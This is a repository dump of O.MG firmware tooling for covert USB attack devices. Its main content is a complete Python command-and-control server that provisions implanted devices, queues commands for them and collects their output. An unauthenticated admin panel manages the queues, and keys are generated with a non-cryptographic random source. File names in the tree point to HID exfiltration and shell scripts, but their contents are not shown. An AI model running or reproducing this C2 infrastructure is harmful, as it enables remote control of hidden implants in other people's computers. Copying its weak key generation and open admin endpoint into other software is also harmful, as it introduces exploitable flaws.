Repository: O-MG/O.MG-Firmware
Branch: stable
Commit: 18150f0e3404
Files: 20
Total size: 586.1 KB
Directory structure:
gitextract_edbq2fj2/
├── .gitignore
├── LICENSE
├── README.md
├── c2server/
│ ├── c2server.py
│ ├── index.html
│ └── requirements.txt
├── firmware/
│ └── page.mpfs
├── flash.py
├── hashes.txt
├── scripts/
│ ├── flashapi.py
│ ├── miniterm.py
│ └── pager.py
└── tools/
└── HIDX/
├── powershell/
│ ├── minify.ps1
│ ├── win-hidexfil.ps1
│ └── win-hidshell.ps1
├── python/
│ ├── hidxshell.py
│ ├── linux-nativeshell.py
│ ├── stealthlink-client-universal.py
│ └── stealthlink-host-universal.py
└── shell/
└── linux-hidexfil.sh
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
pip-wheel-metadata/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
.python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# PEP 582; used by e.g. github.com/David-OConnor/pyflow
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
.DS_Store
*.pem
================================================
FILE: LICENSE
================================================
SOFTWARE LICENSE AGREEMENT IMPORTANT - PLEASE READ CAREFULLY: THIS END-USER LICENSE AGREEMENT ("EULA" OR "AGREEMENT") IS A LEGAL AGREEMENT BETWEEN YOU (EITHER AN INDIVIDUAL OR A SINGLE ENTITY) ("YOU" OR "USER") AND MISCHIEF GADGETS LLC, OF 548 MARKET STREET #61961, SAN FRANCISCO, CALIFORNIA, 94104 ("OWNER"). BY USING ANY MISCHIEF GADGETS PRODUCT OR ANY PROPRIETARY SOFTWARE DEVELOPED BY THE OWNER ("SOFTWARE"), THE USER, EITHER ON BEHALF OF YOURSELF AS AN INDIVIDUAL OR ON BEHALF OF AN ENTITY AS ITS AUTHORIZED REPRESENTATIVE, AGREES TO ALL OF THE TERMS OF THIS AGREEMENT. BY INSTALLING, COPYING, OR OTHERWISE USING THE SOFTWARE, YOU AGREE TO BE BOUND BY THE TERMS OF THIS AGREEMENT. IF YOU DO NOT AGREE TO THE TERMS OF THIS AGREEMENT, DO NOT INSTALL OR USE THE PRODUCTS OR SOFTWARE.
GRANT OF LICENSE The SOFTWARE is protected by copyright laws and laws protecting the confidentiality of trade secrets. The SOFTWARE is licensed, not sold. Any supplemental software or software code, provided to the USER as part of support, shall be considered part of the SOFTWARE and subject to the terms and conditions of this AGREEMENT. Subject to the terms of this AGREEMENT, OWNER hereby grants USER a non-transferable license to use the SOFTWARE for authorized network auditing and security analysis purposes only where permitted subject local and international laws where applicable. USER is solely responsible for compliance with all laws of their locality.
LICENSE RESTRICTIONS The USER may not: (a) Reverse engineer, decompile, or disassemble any portions of the SOFTWARE, or allow others to do so, except and only to the extent that such activity is expressly permitted by applicable law, notwithstanding this limitation; (b) Distribute the SOFTWARE or any derivative works based upon the SOFTWARE, in whole or in part, to any third-party or entity without prior written authorization from the OWNER; (c) Resell, lease, rent, transfer, sub-license, or otherwise transfer rights to the SOFTWARE to any third-party or entity without prior written authorization from the OWNER; (d) Copy, clone, duplicate, or distribute copies of the SOFTWARE from one computer to another, or electronically transfer the SOFTWARE from one computer to another over any public or private network, without prior written authorization from the OWNER; (e) Use the SOFTWARE for any unlawful or unethical purpose or deploy the SOFTWARE to any computer system which the USER has no legal right to access; (f) Attempt in any way to obliterate or destroy the trade secret or copyright notice that is incorporated into and part of the SOFTWARE. The USER must reproduce fully the trade secret or copyright notice in all copies of the SOFTWARE. (g) USE THE SOFTWARE IN ANY APPLICATION WHERE THE SOFTWARE MAY RESULT IN DEATH, PERSONAL INJURY OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE.
TITLE, OWNERSHIP, INTELLECTUAL PROPERTY YOU acknowledge that no title to the SOFTWARE or the intellectual property contained within it is transferred to YOU, the USER. The OWNER retains exclusive ownership of all rights, title and interest in and to the SOFTWARE, source code, and intellectual property. It is understood and agreed that the SOFTWARE, including any accompanying scripts and support files, is copyrighted by the OWNER and may not be reproduced and/or redistributed without the advanced written consent of the OWNER except where expressly permitted under this AGREEMENT. The SOFTWARE is protected by copyright laws, and the USER must treat the SOFTWARE like any other copyrighted material except the USER may install the SOFTWARE as provided by this AGREEMENT. Any rights not expressly granted are reserved by the OWNER.
MAINTENANCE The OWNER shall not be obligated to provide maintenance and/or updates and/or fixes for the SOFTWARE; however, any such maintenance and/or updates and/or fixes provided by the OWNER shall be covered by this AGREEMENT.
EXPORT CONTROL As required by U.S. law, the USER represents and warrants that it: (a) Is not located in a prohibited destination country under U.S. sanctions regulations; (b) Will not export, re-export, or transfer the SOFTWARE to any prohibited destination, entity, or individual without the necessary export license(s) or authorization(s) from the U.S. Government; (c) Will not use or transfer the SOFTWARE for use in any sensitive nuclear, chemical or biological weapons, or missile technology end-uses unless authorized by the U.S. Government by regulation or specific license; (d) Understands and agrees that if it is in the United States and exports or transfers the SOFTWARE to eligible end users, it will comply with U.S. export regulations and laws; and (e) Understands that countries other than the United States may restrict the import, use, or export of encryption products and that it shall be solely responsible for compliance with any such import, use, or export restrictions.
TERMINATION The USER may terminate this AGREEMENT at any time by uninstalling the SOFTWARE and destroying all copies of the SOFTWARE in possession of the USER. This AGREEMENT shall terminate automatically if the USER fails to comply with the terms of this AGREEMENT. Upon termination, the USER must uninstall and destroy all copies of the SOFTWARE and all of its components. TERMINATION OF THIS AGREEMENT SHALL NOT RELIEVE THE USER OF ITS OBLIGATIONS REGARDING THE PROTECTION OF COPYRIGHTS AND TRADE SECRETS RELATING TO THE PRODUCT.
DISCLAIMER OF WARRANTY THE OWNER EXPRESSLY DISCLAIMS ANY WARRANTY FOR THE SOFTWARE. THE SOFTWARE IS PROVIDED "AS IS" AND WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THE OWNER DISCLAIMS ALL WARRANTIES, INCLUDING WITHOUT LIMITATION ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NONINFRINGEMENT. THE OWNER DOES NOT WARRANT OR ASSUME RESPONSIBILITY FOR THE ACCURACY OR COMPLETENESS OF ANY INFORMATION, TEXT, GRAPHICS, LINKS, OR OTHER ITEMS CONTAINED WITHIN THE SOFTWARE. THE OWNER MAKES NO WARRANTIES RESPECTING ANY HARM THAT MAY BE CAUSED BY THE TRANSMISSION OF A COMPUTER VIRUS, WORM, OR OTHER SUCH COMPUTER PROGRAM. THE OWNER FURTHER EXPRESSLY DISCLAIMS ANY WARRANTY OR REPRESENTATION TO USER OR TO ANY THIRD PARTY.
LIMITATION OF LIABILITY THE ENTIRE RISK ARISING OUT OF THE USE AND/OR PERFORMANCE OF THE PRODUCT AND/OR DOCUMENTATION REMAINS WITH THE USER TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, AND IN NO EVENT SHALL THE OWNER BE LIABLE FOR ANY CONSEQUENTIAL, INCIDENTAL, DIRECT, INDIRECT, SPECULATIVE, PUNITIVE, OR OTHER DAMAGES WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) ARISING OUT OF THIS AGREEMENT OR THE USE OF OR INABILITY TO USE THE PRODUCT, EVEN IF THE OWNER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. THE OWNER SHALL HAVE NO LIABILITY WITH RESPECT OF THE CONTENT OF THE SOFTWARE OR ANY PART THEREOF, INCLUDING BUT NOT LIMITED TO ERRORS OR OMISSIONS CONTAINED THEREIN, LIBEL, INFRINGEMENTS OF RIGHTS OF PUBLICITY, PRIVACY, TRADEMARK RIGHTS, BUSINESS INTERRUPTION, PERSONAL INJURY, LOSS OF PRIVACY, MORAL RIGHTS OR THE DISCLOSURE OF CONFIDENTIAL INFORMATION. ANY LIABILITY OF THE OWNER SHALL BE EXCLUSIVELY LIMITED TO THE PRODUCT REPLACEMENT OR RETURN OF THE PURCHASE/LICENSING PRICE. NO OTHER ADVERTISING, DESCRIPTION OR REPRESENTATION, WHETHER OR NOT MADE BY THE OWNER OR THE OWNER'S DEALER, DISTRIBUTOR, AGENT OR EMPLOYEE, SHALL BE BINDING UPON THE OWNER OR SHALL CHANGE THE TERMS OF THIS WARRANTY.
USER REMEDIES The OWNER'S entire liability and YOUR exclusive remedy shall be, at the OWNER's option, either (a) return of the price paid, or (b) replacement of the SOFTWARE.
GOVERNING LAW This AGREEMENT shall be governed by and construed in accordance with the laws of the State of California.
ENTIRE AGREEMENT This AGREEMENT constitutes the entire understanding between the OWNER and the USER. The USER agrees that this is the entire agreement between the USER and the OWNER, and supersedes any prior agreement, whether written or oral, and all other communications between the OWNER and the USER relating to the subject matter of this AGREEMENT and cannot be altered or modified, except in writing.
RESERVATION OF RIGHTS All rights not expressly granted under this AGREEMENT are reserved entirely to the OWNER.
HEADINGS AND CAPTIONS The captions of this AGREEMENT are for convenience and reference only, and in no way define or limit the intent, rights, or obligations of the parties hereunder. Additionally, any heading preceding the text of any of the paragraphs in this AGREEMENT are inserted solely for convenience of reference and shall not constitute a part of the AGREEMENT, nor shall they affect the meaning, construction or effect of any of the paragraphs of the AGREEMENT.
BINDING EFFECT This AGREEMENT and the terms and conditions of this AGREEMENT shall be binding upon the parties to this AGREEMENT and their respective heirs, personal representatives and assigns.
INTERPRETATION No provision of this AGREEMENT shall be interpreted for or against any party to this AGREEMENT by reason of the fact that the party or his/ her counsel or legal representative drafted all or any part of this AGREEMENT.
ATTORNEY'S FEES In any action under this AGREEMENT, the prevailing party shall be entitled to reasonable attorney's fees set by the Court or by arbitration.
SEVERABILITY Should any provision of this AGREEMENT be found, held or deemed to be unenforceable, voidable, or void as contrary to law or public policy under the state of California or other appropriate jurisdiction, the parties intend and agree that the remaining provisions shall nevertheless continue in full force and be binding upon the parties, their heirs, personal representatives, and assigns.
================================================
FILE: README.md
================================================
This is for all versions of the O.MG Cable, O.MG Adapter, and O.MG Plug
# [Setup Instructions & Latest Firmware](https://github.com/O-MG/O.MG-Firmware/wiki)
================================================
FILE: c2server/c2server.py
================================================
import json
import os
import random as rnd
import socket
import sys
import time
from http.server import BaseHTTPRequestHandler, HTTPServer, SimpleHTTPRequestHandler, ThreadingHTTPServer
import threading
import urllib.request
import re
from urllib.parse import urlparse, parse_qs
from datetime import datetime
import monocypher as mono
provisionFile_ver = 3
SESSION_LIFESPAN = 120
serverPort = 8000
adminPort = 8080
def get_ip_address():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip_address = s.getsockname()[0]
s.close()
return ip_address
except Exception as e:
print("Error occurred while getting IP address:", e)
return None
ip_address = get_ip_address()
if ip_address:
print("The computer's current IP address is:", ip_address)
else:
print("Could not determine the computer's IP address.")
hostName = ip_address
def write_c2log(alias, direction, msg):
with open("c2log", "a") as f:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
f.write(f"{alias}, {timestamp}, {direction}, {msg}\n")
class c2server(BaseHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET,POST')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
SimpleHTTPRequestHandler.end_headers(self)
def do_GET(self):
i = self.path.find("/C2=")
if i < 0:
return
print("------ ------------------ ", self.path[i:])
raw_msg = bytearray.fromhex(self.path[i + 4:])
msg_size = (len(self.path) - 4) / 2
resp = the_host.process_message(raw_msg, msg_size)
self.send_response(200)
if resp is not None:
self.wfile.write(bytes(resp.hex(), "utf-8"))
def do_POST(self):
length = int(self.headers['Content-Length'])
body = self.rfile.read(length)
print(f"------ ------------------ len: {length}")
resp = the_host.process_message(body, length)
if resp is not None:
self.wfile.write(bytes(resp.hex(), "utf-8"))
class c2admin(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET,POST')
self.send_header('Access-Control-Allow-Headers', 'Content-Type')
SimpleHTTPRequestHandler.end_headers(self)
def handle_C2admin(self):
with open("c2config", "r") as f:
content = f.read()
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
self.wfile.write(content.encode("utf-8"))
def handle_C2log(self, alias=None, abridge=True):
if os.path.exists("c2log"):
with open("c2log", "r") as f:
lines = f.readlines()
if alias is not None:
lines = [line for line in lines if line.startswith(alias)]
if abridge:
lines = [line for line in lines if not re.search(r'.*, out, \n', line)]
content = "".join(lines)
self.send_response(200)
self.send_header("Content-type", "text/csv")
self.end_headers()
self.wfile.write(content.encode("utf-8"))
else:
log("No c2log file exists.")
with open("c2log", 'w') as f:
f.write("")
def do_GET(self):
url = urlparse(self.path)
query_params = parse_qs(url.query)
alias = query_params.get('alias', [None])[0]
abridge = query_params.get('abridge', [False])[0]
if url.path == "/C2admin":
self.handle_C2admin()
elif url.path == "/C2log":
self.handle_C2log(alias, abridge)
elif url.path == "/" or url.path == "/index.html":
self.path = "/index.html"
super().do_GET()
else:
self.send_response(404)
self.end_headers()
def do_POST(self):
if self.path == "/C2admin":
content_len = int(self.headers.get("Content-Length"))
body = self.rfile.read(content_len)
body_decoded = body.decode("utf-8")
body_data = json.loads(body.decode("utf-8"))
alias = body_data.get("alias", "")
action = body_data.get("action", "")
data = body_data.get("data", "")
commands = [
"CI",
"CV",
"CWInfo",
"CNGet",
"CTList",
"CFList",
"CWStatus",
"CEStatus",
"CLStatus",
"CHStatus",
"C2Status",
"C2Info"
]
client_id = next((device["client_id"] for device in config.devices if device["alias"] == alias), None)
client = the_host.clients.get(client_id)
if client and action == "queueAdd":
if data not in client.cmd_queue:
client.cmd_queue.append(data)
config.save_provision_files()
self.send_response(200)
self.end_headers()
elif client and action == "queueDelete":
try:
data_int = int(data)
log(data_int)
client.cmd_queue.pop(data_int)
config.save_provision_files()
self.send_response(200)
self.end_headers()
except (ValueError, IndexError):
self.send_response(400)
self.end_headers()
elif client and action == "queueClear":
client.cmd_queue = []
config.save_provision_files()
self.send_response(200)
self.end_headers()
elif client and action == "logClear":
print(alias);
if alias == "clearAllLogs":
with open("c2log", "w") as f:
f.write("")
for device_client in the_host.clients.values():
device_client.cmd_queue = commands + device_client.cmd_queue
else:
with open("c2log", "r") as f:
lines = f.readlines()
lines = [line for line in lines if not line.startswith(alias)]
with open("c2log", "w") as f:
f.writelines(lines)
client.cmd_queue = commands + client.cmd_queue
config.save_provision_files()
self.send_response(200)
self.end_headers()
elif client and action == "logClearAll":
with open("c2log", "w") as f:
f.write("")
for device_client in the_host.clients.values():
device_client.cmd_queue = commands + device_client.cmd_queue
config.save_provision_files()
self.send_response(200)
self.end_headers()
elif client and action == "pollInterval":
alias = body_data.get("alias", "")
data = body_data.get("data", {})
matching_device = next((device for device in config.devices if device["alias"] == alias), None)
if matching_device is not None:
for key in ["poll_seconds", "fast_seconds", "contact_seconds"]:
if key in data:
matching_device[key] = data[key]
config.save_provision_files()
self.send_response(200)
self.end_headers()
else:
self.send_response(400)
self.end_headers()
else:
super().do_POST()
class Host:
session_count = 0
clients = {}
sessions = {}
class ClientData:
def __init__(self, client_id, alias, client_exchange_key, cmd_queue):
self.client_id = client_id
self.alias = alias
self.exchange_key = client_exchange_key
self.cmd_queue = cmd_queue if cmd_queue else [
"CI",
"CV",
"CWInfo",
"CNGet",
"CTList",
"CFList",
"CWStatus",
"CEStatus",
"CLStatus",
"CHStatus",
"C2Status",
"C2Info"
]
class SessionData:
def __init__(self, session_id, session_key, client_id, device_id, expires, interface_version):
self.session_id = session_id
self.session_key = session_key
self.client_id = client_id
self.device_id = device_id
self.expires = expires
self.ver = interface_version
self.msg_count = 0
self.next_cmd = 0
def __init__(self, host_private_key, host_public_key):
self.host_private_key = bytes.fromhex(host_private_key) if host_private_key else None
self.public_key = bytes.fromhex(host_public_key) if host_public_key else None
self.session_lifespan = SESSION_LIFESPAN
config = c2config(self.public_key, self.host_private_key, ip_address, serverPort, adminPort)
for device in config.devices:
client_id = device['client_id']
alias = device['alias']
client_public_key = bytes.fromhex(device['client_public_key'])
client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key)
cmd_queue = device.get('cmd_queue', None)
client = self.ClientData(client_id, alias, client_exchange_key, cmd_queue)
self.clients[client_id] = client
def provision(self, alias, poll_seconds, fast_seconds, contact_seconds):
global config
for device in config.devices:
if device['alias'] == alias:
print(f"Warning: Existing Device Alias {alias} already exists. Provisioning did not continue.")
return
self.session_count += 1
client_id = rnd.randint(0, 1000000)
client_secret_key = gen_random(32)
client_public_key = mono.compute_key_exchange_public_key(client_secret_key)
client_exchange_key = mono.key_exchange(self.host_private_key, client_public_key)
client = self.ClientData(client_id, alias, client_exchange_key, None)
self.clients[client_id] = client
provision_data = {
'alias': alias,
'client_id': client_id,
'client_public_key': client_public_key.hex(),
'poll_seconds': poll_seconds,
'fast_seconds': fast_seconds,
'contact_seconds': contact_seconds
}
config.devices.append(provision_data)
config.save_provision_files()
log("Provisioned [{}] alias: {}".format(client_id, alias))
print(f"---------- Provision-file: {alias} ----------")
device_config = f"host_pk = {self.public_key.hex()},host_url = {hostName},host_port = {serverPort},host_path = \"\",client_id = {client_id},client_sk = {client_secret_key.hex()},poll_rate = {poll_seconds},fast_rate = {fast_seconds},contact_rate = {contact_seconds}"
print(device_config)
print('\n\nPlease copy the above Provision-file, log into your O.MG Elite Device’s WebUI, go to Settings -> Net -> C2Config and paste the results, and then press "Change Settings” to apply.')
def make_err_msg(self, err_code, err_text):
print("***** Sending Error ", err_code, err_text)
wrapper = MsgWrapper(109, err_code)
return wrapper.secure_msg()
def handle_hello(self, hello_msg, client):
print("<<<<< Hello Msg >>>>>")
client_id = client.client_id
device_id = hello_msg.plain_msg[4:10]
ver = 1
if hello_msg.msg_size > 10:
ver = int.from_bytes(hello_msg.plain_msg[10:11], 'little')
for key in self.sessions:
session = self.sessions[key]
if session.client_id == client_id and session.device_id == device_id:
del (self.sessions[key])
break
session_key = gen_random(32)
not_unique = True
while not_unique:
session_id = rnd.randint(0, 1000000)
not_unique = session_id in self.sessions
expires = int(time.time()) + self.session_lifespan + 5
self.sessions[session_id] = self.SessionData(session_id, session_key, client_id, device_id, expires, ver)
print(f"Session id: {session_id}, ver: {ver}, key: {session_key.hex()}")
# Fetch the per-device values from the c2config device entry with the matching client_id
matching_device = next((device for device in config.devices if device["client_id"] == client.client_id), None)
if matching_device is not None:
poll_seconds = matching_device.get("poll_seconds", self.session_lifespan)
fast_seconds = matching_device.get("fast_seconds", self.session_lifespan)
contact_seconds = matching_device.get("contact_seconds", poll_seconds)
else:
poll_seconds = fast_seconds = contact_seconds = self.session_lifespan
plain_resp = HelloResponse(session_id, session_key, self.session_lifespan, poll_seconds, fast_seconds, contact_seconds)
resp = MsgWrapper(101, plain_resp.text, len(plain_resp.text))
resp.encrypt(client.exchange_key)
wrapped_msg = resp.secure_msg()
print(" secure msg: ", wrapped_msg.hex())
return wrapped_msg
def handle_poll(self, poll_msg, session):
seq_no = int.from_bytes(poll_msg.plain_msg[4:8], 'little')
script_status = int.from_bytes(poll_msg.plain_msg[8:9], 'little')
print(f"<<<<< Poll Msg #{seq_no} - SS: {script_status}>>>>>")
client = self.clients[session.client_id]
if len(client.cmd_queue) == 0:
cmd = ""
else:
cmd = client.cmd_queue[session.next_cmd % len(client.cmd_queue)]
cmd_len = len(cmd)
if cmd_len == 0:
is_more = 0
else:
is_more = 1
if cmd.startswith("CE") and not cmd.startswith("CEStatus"):
if session.ver > 1 and script_status != 0:
cmd = ""
else:
session.next_cmd += 1
else:
session.next_cmd += 0
if len(cmd):
print(f">>>>> Running command {cmd}")
else:
print(">>>>> Idle (No command sent)")
msg = CommandMsg(seq_no, bytes(cmd, "utf-8"), is_more)
resp = MsgWrapper(102, msg.text, len(msg.text))
resp.encrypt(session.session_key)
wrapped_msg = resp.secure_msg()
client = self.clients[session.client_id]
write_c2log(client.alias, "out", cmd)
return wrapped_msg
def handle_response(self, command_response, session):
seq_no = int.from_bytes(command_response.plain_msg[0:4], 'little')
resp_size = int.from_bytes(command_response.plain_msg[4:6], 'little')
cmd_offset = 7
try:
response = command_response.plain_msg[7:].decode('utf-8')
except UnicodeDecodeError:
hex_response = command_response.plain_msg[7:].hex()
split_hex = hex_response.split("09", 1)
if len(split_hex) > 1:
try:
first_part = bytes.fromhex(split_hex[0]).decode('utf-8')
response = first_part + '\t' + split_hex[1]
except UnicodeDecodeError:
response = hex_response
else:
response = hex_response
print(f"<<<<< Output for #{seq_no} >>>>> size: {resp_size} ({len(command_response.plain_msg[7:])})")
print(response)
client = self.clients[session.client_id]
write_c2log(client.alias, "in ", response)
cmd = client.cmd_queue.pop(0) # Remove the cmd from the cmd_queue
config.save_provision_files()
def handle_error(self, err_msg, session):
log("Device error: " + err_msg.plain_text)
def process_message(self, raw_msg, raw_len):
if raw_len < 47:
return self.make_err_msg(101, "Bad message, too short")
msg = MsgWrapper(raw_msg)
if msg.msg_type == 1:
if msg.id not in self.clients:
return self.make_err_msg(102, "Unknown client-id")
client = self.clients[msg.id]
key = client.exchange_key
else:
if msg.id not in self.sessions:
config.load_provision_files()
return self.make_err_msg(103, "Unknown session-id")
session = self.sessions[msg.id]
if session.expires < int(time.time()):
return self.make_err_msg(104, "Session has expired")
key = session.session_key
if not msg.decrypt(key):
return self.make_err_msg(105, "Invalid encryption")
if msg.msg_type == 1:
return self.handle_hello(msg, client)
if msg.msg_type == 2:
return self.handle_poll(msg, session)
elif msg.msg_type == 3:
return self.handle_response(msg, session)
elif msg.msg_type == 9:
return self.handle_error(msg, session)
return self.make_err_msg(106, "Unknown message-type")
class HelloResponse:
def __init__(self, session_id, session_key, expiry, poll_seconds, fast_seconds, contact_seconds):
self.text = bytearray()
self.text.extend(session_id.to_bytes(4, 'little'))
self.text.extend(expiry.to_bytes(4, 'little'))
self.text.extend(session_key)
self.text.extend(poll_seconds.to_bytes(4, 'little'))
self.text.extend(fast_seconds.to_bytes(4, 'little'))
self.text.extend(contact_seconds.to_bytes(4, 'little'))
class CommandMsg:
def __init__(self, seq, command, is_more):
cmd_len = len(command)
self.text = bytearray()
self.text.extend(seq.to_bytes(4, 'little'))
self.text.extend(cmd_len.to_bytes(2, 'little'))
self.text.extend(is_more.to_bytes(1, 'little'))
self.text.extend(command)
print(" is_more: ", is_more)
class MsgWrapper:
def __init__(self, *args):
if len(args) == 1:
msg = args[0]
self.msg_type = msg[0]
self.id = int.from_bytes(msg[1:5], 'little')
self.nonce = msg[5:29]
self.mac = msg[29:45]
if self.msg_type != 9:
self.msg_size = int.from_bytes(msg[45:47], 'little')
self.err_code = 0
else:
self.err_code = int.from_bytes(msg[45:47], 'little')
self.msg_size = 0
self.encoded = msg[47:47 + self.msg_size]
self.plain_msg = None
else:
self.msg_type = args[0]
self.id = 0
self.nonce = None
self.mac = None
self.encoded = None
if len(args) == 2:
self.err_code = args[1]
self.msg_size = 0
else:
self.plain_msg = args[1]
self.msg_size = args[2]
self.err_code = 0
def encrypt(self, key):
if self.msg_type == 109:
return
self.nonce = gen_random(24)
self.mac, self.encoded = mono.lock(key, self.nonce, self.plain_msg)
def decrypt(self, key):
if self.msg_type == 9:
return
self.plain_msg = mono.unlock(key, self.nonce, self.mac, self.encoded)
if self.plain_msg is None:
print(" Decrypt failed")
return False
return True
def secure_msg(self):
msg = bytearray()
msg.extend(self.msg_type.to_bytes(1, 'little'))
msg.extend(self.id.to_bytes(4, 'little'))
if self.msg_type == 9 or self.msg_type == 109:
msg.extend(bytearray(40))
msg.extend(self.err_code.to_bytes(2, 'little'))
else:
msg.extend(self.nonce)
msg.extend(self.mac)
msg.extend(self.msg_size.to_bytes(2, 'little'))
msg.extend(self.encoded)
return msg
def log(err_text):
print(" ", err_text)
def gen_random(size):
return bytes(rnd.randint(0, 255) for _ in range(size))
class c2config:
def __init__(self, host_public_key, host_private_key, host_url, host_port, admin_port):
self.host_public_key = host_public_key
self.host_private_key = host_private_key
self.host_url = host_url
self.host_port = host_port
self.admin_port = admin_port
self.devices = []
if os.path.exists("c2config"):
self.load_provision_files()
else:
print("No c2config file exists.")
print('You must provision an O.MG Elite Device before you can use.\n\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\n')
self.host_private_key = gen_random(32).hex() # Generate host private key
self.host_public_key = mono.compute_key_exchange_public_key(
bytes.fromhex(self.host_private_key)).hex() # Compute host public key
self.save_provision_files() # Save the generated keys
def save_provision_files(self):
devices_with_cmd_queue = []
for device in self.devices:
client = the_host.clients[device['client_id']]
device_with_cmd_queue = device.copy()
device_with_cmd_queue['cmd_queue'] = client.cmd_queue
devices_with_cmd_queue.append(device_with_cmd_queue)
config_data = {
'host_public_key': self.host_public_key,
'host_private_key': self.host_private_key,
'host_url': self.host_url,
'host_port': self.host_port,
'admin_port': self.admin_port,
'devices': devices_with_cmd_queue
}
with open("c2config", 'w') as f:
json.dump(config_data, f, indent=4)
def load_provision_files(self):
try:
with open("c2config", 'r') as f:
if os.path.getsize("c2config") == 0:
self.devices = []
else:
config_data = json.load(f)
self.host_public_key = config_data['host_public_key']
self.host_private_key = config_data['host_private_key']
self.host_url = config_data['host_url']
self.host_port = config_data['host_port']
self.admin_port = config_data['admin_port']
self.devices = config_data['devices']
except FileNotFoundError:
self.devices = []
self.host_private_key = gen_random(32).hex()
self.host_public_key = mono.compute_key_exchange_public_key(
bytes.fromhex(self.host_private_key)).hex()
self.save_provision_files()
except json.JSONDecodeError:
self.devices = []
def validate_arguments(argv):
if (len(argv) - 2) % 4 != 0:
return False, "\nERROR: Incorrect number of arguments.\nEach device provision requires 4 arguments: (alias, poll_seconds, fast_seconds, contact_seconds).\n"
try:
for i in range(2, len(argv), 4):
int(argv[i + 1])
int(argv[i + 2])
int(argv[i + 3])
except ValueError:
return False, "ERROR: Expected integer values for poll_seconds, fast_seconds, and contact_seconds.\n"
return True, ""
rnd.seed()
webServer = None
if __name__ == "__main__":
config = c2config(None, None, ip_address, serverPort, adminPort)
the_host = Host(config.host_private_key, config.host_public_key)
for device in config.devices:
client_id = device['client_id']
alias = device['alias']
client_exchange_key = mono.key_exchange(the_host.host_private_key, bytes.fromhex(device['client_public_key']))
client = the_host.ClientData(client_id, alias, client_exchange_key, device['cmd_queue'])
the_host.clients[client_id] = client
config.load_provision_files()
if len(sys.argv) > 1 and sys.argv[1].lower() == 'provision':
valid, error_msg = validate_arguments(sys.argv)
if not valid:
print(error_msg)
print("Example usage: python3 ./c2server.py provision cableOne 60 1 300\nExample usage: python3 ./c2server.py provision cableOne 60 1 300 cableTwo 120 1 600")
else:
index = 2
while index < len(sys.argv):
try:
alias = sys.argv[index]
poll_seconds = int(sys.argv[index + 1])
fast_seconds = int(sys.argv[index + 2])
contact_seconds = int(sys.argv[index + 3])
the_host.provision(alias, poll_seconds, fast_seconds, contact_seconds)
index += 4
except (IndexError, ValueError):
print("Invalid arguments for provisioning. Expected sets of (alias, poll_seconds, fast_seconds, contact_seconds).")
else:
try:
secondaryServer = ThreadingHTTPServer((config.host_url, config.admin_port), c2admin)
secondaryThread = threading.Thread(target=secondaryServer.serve_forever)
secondaryThread.daemon = True
secondaryThread.start()
print("AdminUI server started http://%s:%s" % (config.host_url, config.admin_port))
except OSError as e:
print("Failed to start the AdminUI server.")
print(e);
if 'Address already in use' in str(e):
print(f"Port {config.admin_port} is already in use. Please choose a different port in your c2config.")
elif 'Can\'t assign requested address' in str(e):
print(f"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.")
sys.exit(1)
try:
webServer = HTTPServer((config.host_url, config.host_port), c2server)
print("C2 server started http://%s:%s" % (config.host_url, config.host_port))
with webServer:
webServer.serve_forever()
except KeyboardInterrupt:
print("Server stopped.")
except OSError as e:
print(e);
print("Failed to start the C2 server.")
if 'Address already in use' in str(e):
print(f"Port {config.host_port} is already in use. Please choose a different port in your c2config.")
elif 'Can\'t assign requested address' in str(e):
print(f"Cannot assign requested address: {config.host_url}. Please check the host URL in your c2config.")
sys.exit(1)
finally:
if webServer is not None:
webServer.server_close()
print("Server stopped.")
================================================
FILE: c2server/index.html
================================================
O.MG
Settings
Command
Action
WiFi Settings
